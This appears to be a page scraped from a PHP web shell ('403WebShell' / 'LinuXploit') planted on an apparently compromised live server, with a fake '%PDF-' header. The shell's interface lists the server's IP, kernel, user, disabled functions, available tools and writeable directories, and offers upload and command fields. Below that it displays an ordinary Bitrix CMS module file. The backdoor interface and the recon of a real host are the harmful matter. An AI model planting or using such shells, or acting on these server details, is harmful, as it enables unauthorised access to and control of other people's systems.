%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.117.137.252
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/webdebug.antirutin/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/webdebug.antirutin/lib/pluginsection.php
<?
namespace WD\Antirutin;

use
	WD\Antirutin\Helper,
	WD\Antirutin\IBlock,
	WD\Antirutin\Plugin;

abstract class PluginSection extends Plugin {
	
	/**
	 *	Disable process section!
	 */
	public function processSection($intSectionId){
		return false;
	}
	
	/**
	 *	Execute element!
	 *	must return true if success, false on error
	 */
	final public function processElement($intElementId){
		return false;
	}
	
	/**
	 *	Wrapper for CIBlockSection::update()
	 */
	protected function update($intSectionId, $arFields, $bResort=true, $bUpdateSearch=true, $bResizePictures=false){
		if(\Bitrix\Main\Loader::includeModule('iblock')){
			if(!is_object($this->obSection)){
				$this->obSection = new \CIBlockSection;
			}
			$bResult = $this->obSection->update($intSectionId, $arFields, $bResort, $bUpdateSearch, $bResizePictures);
			if($bResult){
				if(isset($arFields['IPROPERTY_TEMPLATES'])){
					$obValues = new \Bitrix\Iblock\InheritedProperty\SectionValues($this->intIBlockId, $intSectionId);
					$obValues->clearValues();
					unset($obValues);
				}
			}
			else{
				$strError = preg_replace('#^(.*?)<br/?>\s?$#', '$1', $this->obSection->LAST_ERROR);
				$this->setError($strError);
			}
			return $bResult;
		}
		return false;
	}
	
	/**
	 *	Wrapper for getFields
	 */
	protected function getProperty($strPropertyCode, $bJustData=true){
		$arProperty = $this->getFields(['PROPERTIES' => ['CODE' => $strPropertyCode]], $strPropertyCode);
		if($bJustData){
			$arProperty = $arProperty['DATA'];
		}
		return $arProperty;
	}
	
	/**
	 *	Set SEO field for section
	 */
	protected function setSeoField($intSectionId, $strKey, $strValue){
		$obProps = new \Bitrix\IBlock\InheritedProperty\SectionTemplates($this->intIBlockId, $intSectionId);
		$obProps->set([
			$strKey => $strValue,
		]);
		unset($obProps);
	}
	
	/**
	 *	Check property multiple or not
	 */
	protected function isPropertyMultiple($strPropertyCode){
		$bResult = false;
		$arField = IBlock::getSectionUserFields($this->intIBlockId, $strPropertyCode);
		if(is_array($arField)){
			$bResult = $arField['MULTIPLE'] == 'Y';
		}
		return $bResult;
	}
	
}

?>

Youez - 2016 - github.com/yon3zu
LinuXploit